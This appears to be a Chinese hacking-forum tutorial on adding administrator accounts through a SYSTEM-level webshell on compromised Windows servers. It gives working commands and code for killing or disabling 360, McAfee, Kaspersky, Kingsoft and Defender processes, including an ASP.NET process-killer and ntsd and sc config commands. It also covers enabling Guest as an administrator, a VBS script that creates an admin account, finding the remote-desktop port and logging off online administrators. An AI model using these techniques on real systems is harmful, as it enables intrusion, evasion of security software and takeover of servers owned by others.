很多习科会员在Windows下SYSTEM
权限的webshell下添加账户,但却无法成功。SYSTEM权限肯定足够大,却无法成功,原因是什么呢?
提权不可能百分百成功。下面文章进行了多种分析,并附上一些突破绕过方法。
经常会在国内的一些服务器上遇到360杀毒和防护软件,如果使用webshell进行添加administrators账户时,360会阻止并提示管理员,导致添加失败。
利用360不能完美的支持Server系统的特性可以突破360的安全防护。
阻止Webshell添加账户的主要是360主动防御
,只要结束了主动防御360杀毒就是摆设。
发现360无法完美支持Server系统是发现习科php大马被某个服务器管理员举报到360论坛上去了,说360查不出来,希望更新病毒库云云。
结果360工程师看了以后说更新360就能杀到了,网管说更新了以后还是杀不到;
然后工程师又说装什么什么的防护,网管说装了还是杀不到;
然后工程师就缩头乌龟了,可见360在server上面其实并不能完美运行。
先执行tasklist
看一下进程列表,使用如下命令把360主动防御结束。
taskkill /im 进程名.exe /f
360相关进程如下:
360tray.exe,360rp.exe,Zhudongfangyu.exe,360rps.exe
这几个灭了,基本上360的阻碍就清除了,就可以添加账户了。
Windows下Apache+PHP的特殊性,导致很多php站的webshell有SYSTEM的权限,所以结束360简直易如反掌。
即使不是SYSTEM,也有办法的,例如ASPX,asp.net有个操纵进程的功能。
<aspx | > protected void kp_Click(object sender, EventArgs e) {
Process[] kp = Process.GetProcesses (); foreach ( Process kp1 in kp ) if (kp1.ProcessName == ListBox1.SelectedValue.ToString()) { try { kp1.Kill(); Response.Write("<script>alert('Killed');location.href='?'</" + "script>"); ListBox1.Items.Clear(); } catch (Exception x) { Response.Write(x.Message.ToString()); Response.End(); } }
}
</aspx>
asp.net的kill()
函数即使是IIS+ASPX的users用户组依然可以轻松杀死360。
有些SYSYTEM权限却干不掉360,例如360tray.exe
,360safe.exe
,通常是因为管理员登陆以后运行了图形界面没关闭,系统执行taskkill不会成功。
执行query user
查看在线用户列表后logoff id
把在线管理员的id踢了,然后360有的进程就自己灭了,这种情况多出现在2008的server系统上。
可以通过Guest账户突破麦咖啡杀毒软件。
启用Guest账户,修改Guest用户的密码,添加Guest为administrators用户组。
经过测试,麦咖啡的防护进程很难结束,但是仍然可以绕过防护,cmd命令如下
net user guest /active:yes #guest用户启用 net user guest silic!&11133 #改guest密码 net localgroup administrators guest /add #加guest到管理员用户组中
这三条命令第二条或者第三条有时候可能不会显示命令执行成功,但是实际上只要是SYSTEM权限,就应该可以执行成功的,有无回显并不重要。
卡巴斯基的防护也是让人头疼的。关于突破卡巴斯基的方法,有很多。
SYSTEM突破卡巴的防御直接添加用户不太容易,但是可以尝试用taskkill & net user 账户 密码 /add
命令,同时执行结束进程和添加账户。
此方法尚未实践,但是理论上是可以的,因为卡巴不像麦咖啡,卡巴斯基可以直接被结束掉,但是立即就会重启进程。
首先说KSafeSvc.exe
, 从文件名就知道是金山的程序。
这个进程用taskkill是搞不定的…只要这个防护进程,net user /add
的时候,就算net.exe
改名了,它也会弹出是否阻止的窗口(可能是它弹的,就算不是它弹的,也要干掉他才能添加)
Windows还有个命令ntsd
可以终结掉大部分进程,例如winlogon.exe
,svchost.exe
ntsd -c q -p PID
ntsd可以结束KSafeSvc.exe
这个组合其实也很脆弱。
使用cscript执行该vbs脚本
set wsnetwork=CreateObject("WSCRIPT.NETWORK") os="WinNT://"&wsnetwork.ComputerName Set ob=GetObject(os) Set oe=GetObject(os&"/Administrators,group") Set od=ob.Create("user","silic") od.SetPassword "silic" od.SetInfo Set of=GetObject(os&"/silic",user) oe.add os&"/silic"
脚本执行成功可添加用户名和密码均为silic的管理员账户
有时候mysql或者mssql等等提权的时候,会发生杀软无法结束,导致提权失败的情况。
将杀软服务设置为禁用重启服务器,杀毒防护服务就不能运行了。
sc config 服务名 start= disabled sc config MsMpSvc start= disabled
如果无法结束服务,就直接从注册表删除该服务的启动。
很多非主流的防护软件,如护卫盾啊,Safe3防篡改等等,这些软件的突破方法和主流防护软件突破方法大致相同,结束进程,或者不使用添加账户,直接启用现有的Guest来突破监控,不赘述了
进行3389添加账户前首先要知道3389到底开启没有。目前添加账户后无法登陆
的情况,只遇到过3389端口变更为其他端口的例子,没见过不开启远程桌面的例子。
找出端口方法再简单不过:netstat -an
查看所有开启的端口,不过挨个查询可疑的端口太慢。
tasklist /svc
查看TermService的服务进程PID,netstat -ano
查看pid
对应的端口即远程桌面的端口
远程桌面使用svchost.exe进程启用TermService服务开放端口
有些主机Webshell是System权限,tasklist也看不到任何防护的进程,管理员也没在线,提权程序也添加不了。
有果必有因,这样的情况添加不了,多数是系统有组策略限制,通常限制的是密码最短长度。而这个组策略又多数是麦咖啡等防护软件设置上的。或者干脆就是装机的系统本身就开启了这个设置。
突破方法只要在添加账户时把密码位数设置长一点就ok,原先密码是123456,现在改为1234abcd!@#$
就过了
如果还是添加不上,可以尝试用vbs脚本来添加。
有些管理员直接把c:\windows\system32\net.exe
给删了或替换了,直接net的时候会提示拒绝访问
或者不是系统命令
等等类似提示。
因为系统的net.exe没了,重新上传一个net.exe就突破了。
注意32位系统和64位系统的程序不兼容的情况。
有时候添加账户成功,但连接的时候提示最大连接数限制。管理员不在线,却占着线不让你上去,等管理员自己上线了可以把黑客的进程删了。
首先query user
查看在线的账户,然后看他的登陆ID,一般是0,最高不超过8(超过8说明服务器好久没重启了)
然后logoff ID
对应ID的管理员,就可以登陆了。
踢掉管理员命令logoff
注意不要把自己logoff了,例如在system权限下的mysql中,只执行logoff不带任何id,就会使用使mysql失去system权限 —_—
暂无